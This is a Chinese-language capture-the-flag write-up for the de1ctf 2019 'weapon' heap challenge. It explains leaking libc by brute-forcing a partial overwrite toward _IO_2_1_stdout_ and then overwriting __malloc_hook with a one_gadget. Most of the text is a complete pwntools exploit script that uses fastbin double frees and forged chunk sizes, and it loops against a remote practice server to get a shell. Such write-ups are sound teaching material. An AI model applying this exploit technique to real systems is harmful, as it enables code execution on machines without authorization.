de1ctf_2019_weapon(爆破_IO_2_1_stdout)

(这是我真正意义上的完完全全自己做的第一道堆题目,虽然花了*个小时,谨以此篇纪念一下)

题目的例行检查我就不放了,将程序放入ida中

de1ctf_2019_weapon(爆破_IO_2_1_stdout)

 

 程序的逻辑十分简单,漏洞也非常明显

de1ctf_2019_weapon(爆破_IO_2_1_stdout)

 

 重点是这个程序没有给我们show函数,所以第一时间想到了爆破stdout和house of force这俩方法,但是house of force需要溢出去修改topchunk,所以这个题目使用爆破io_stdout来做

这道题的思路是将chunk在unsorted bin中释放去获得aren的值,要注意因为程序开启得alsr 但是地址得后三位是固定得,所以我们要通过修改aren得值为 _IO_2_1_stdout_-0x43的值 通过爆破一个字节去申请到该位置

我通过在chunk里面嵌套chunk去修改aren的值 然后当我们修改了io_stdout这块位置的值后会打印出libc的值,我们就可以往malloc_hook的值覆盖为one_gadget的值去拿到shell

 

 

完整exp如下:

from pwn import *

#p = process('./de1ctf_2019_weapon')

elf = ELF('./de1ctf_2019_weapon')
libc = ELF('./libc-2.23.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(size,index,content):
    p.sendlineafter('choice >> ','1')
    p.sendlineafter('wlecome input your size of weapon: ',str(size))
    p.sendlineafter('input index:',str(index))
    p.sendafter('input your name:',content)


def edit(index,content):
    p.sendlineafter('choice >>','3')
    p.sendlineafter('idx: ',str(index))
    p.sendafter('content: ',content)

def free(index):
    p.sendlineafter('choice >>','2')
    p.sendlineafter('idx :',str(index))


def pwn():
    #launch_gdb()
    add(0x50,0,'aaaa')
    add(0x50,1,b'a'*0x40+p64(0)+p64(0x6f))   #往chunk里面伪造chunk,使uaf的chunk能申请到这里,以便于修改下个chunk的大小
    add(0x50,2,'aaaa')
    add(0x60,3,'aaaa')
    add(0x50,4,'aaaa')
    add(0x60,5,'aaaa')

    free(0)
    free(1)
    free(0)

    add(0x50,0,'\xb0')            #修改fd的值改变了链表结构    
    add(0x50,1,'aaaa')
    add(0x50,0,'aaaa')
    add(0x50,7,p64(0)+p64(0xd1))      #注意这里的d1一定不能随便的填,需要能刚好覆盖到下一个chunk的大小

    free(2)
    free(3)
    add(0x50,8,'a')              #将修改的0xd1大小的chunk还原
    add(0x50,9,'a')
    add(0x50,10,'a')

    free(2)
    free(4)
    free(2)

    add(0x50,2,'\x10')
    add(0x50,4,'aaaa')
    add(0x50,2,b'a'*0x40+p64(0)+p64(0x6f))     #修改chunk的内容,以便于下个chunk能申请到0x10的位置
    add(0x50,11,p64(0)+p64(0x71)+b'\xdd\x25')
    add(0x60,3,'aaaa')

    add(0x60,12,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600  #爆破io_stdout的值后会将遇到的第一个/x7f打印出来,所以不能直接减去偏移去获得libc——base
    if libc_base == -0x3c5600:
        exit(-1)

    print('libc_base-->'+hex(libc_base))

    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
    one_gadget = libc_base+one[2]
    print('one_gdbget-->'+hex(one_gadget))
    add(0x60,13,'a')
    add(0x60,14,'a')
    add(0x60,15,'a')

    free(13)
    free(14)
    free(13)

    add(0x60,13,p64(malloc_hook-0x23))
    add(0x60,14,'a')
    add(0x60,13,'a')
    add(0x60,16,b'a'*0x13+p64(one_gadget))

    free(0)
    free(0)

    p.interactive()

if __name__=='__main__':
    while True:
        #p=process('./de1ctf_2019_weapon')
        p = remote('node4.buuoj.cn','25633')
        try:
            pwn()
        except:
            p.close()

 (吐槽一下index由自己选择的这种题目是真的麻烦,做了半天给我自己都搞的有点小迷惑)

上一篇:centos-7内存缓存buff清理脚本


下一篇:11.